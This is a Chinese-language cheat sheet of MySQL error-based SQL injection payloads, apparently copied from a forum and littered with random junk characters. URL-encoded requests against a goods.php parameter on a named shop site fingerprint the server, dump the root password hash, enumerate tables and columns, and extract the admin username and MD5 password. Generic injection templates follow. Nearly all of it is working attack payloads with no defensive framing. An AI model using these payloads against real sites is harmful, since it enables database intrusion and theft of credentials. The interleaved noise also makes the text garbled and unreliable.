判断版本号 & N( M' j2 N1 v! q
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%238 Z1 o4 X, W8 W( K
/ y1 f2 I( o6 f判断系统7 w- \' ^3 B7 q& }
+ W+ P* D g! @2 C
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
5 d$ J* j q! [6 F& a% r# A8 m- d
) G0 R6 o9 T/ O0 A1 `
. W1 K$ ?5 m) \8 [ F! f7 d当前 user()4 U9 \7 O8 |& `# W( e" B, s1 U
# V7 y+ P: a) D% F
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
: T1 D: D* w8 x* i$ b, j( `% C& P# [% y( O/ I/ q8 _
$ J4 M2 @8 D+ F7 M8 b4 `/ Q2 O- C! h Y1 O q, \
当前 database()
/ f6 R3 d( D# c# }, _http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' q G2 j% M4 A" m9 P8 W S X3 X2 v
9 q% _1 W$ W3 I7 g3 f
4 u2 P, o: Z' {& U' B. C7 l/ Z) C2 g2 f4 Z( L
root hash
8 E% _- A' Y+ n2 N. H
( }; A$ u9 [" Fhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ E' W" j0 c5 V4 e' `; |
# t* S. p0 p( ?0 y( S' e- U
3 V! h7 G, q( H/ m' _) [7 j+ ^8 T
1 \* [# ~) D: | i# A2 a当前 数据库表名
5 Z! R: P$ x% r' b( M+ K
2 ~. _( I' [4 Zhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%230 w/ y) T$ ?( g& Y
& _7 @. R; j; O' g Z* o! M' W. p/ T0 B. Q* l
3 _; A( ^$ S# r当前 数据库 user_name 字段: W) S: o) u5 _1 u
4 r1 y- H: q* L0 }) d$ s* ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( k/ Y W9 b3 U& O: w q! d* H: H' t( B/ C. {; H7 Z, d8 ]( r
当前 数据库 字段 password
+ g! J9 B' ?+ H* ^9 a" \0 phttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%230 ?4 J; f5 D# O
- l0 k8 d7 E% g3 a0 g2 ]
8 K$ r1 t4 q* \
7 E9 Z7 T. ?6 S; m3 z/ S/ F获得 admin passwd(md5)
6 ?! l4 @5 ~9 y7 L& _5 O) @5 p& A/ l X$ j) e3 o; c
; ], x. v, e# ^2 p) ^5 D, x' H
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 Y& O) H* i/ |1 I
, Z J; ~ c$ X; o% g3 Z报错注射
, J0 y2 E' R, CSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
9 V6 i' z* e5 _9 e% i$ A3 X$ P! u0 b$ W
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
& u" P+ h. l# p# y& K5 z4 b
8 C+ {* t, z' u% M2 ~2 uand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |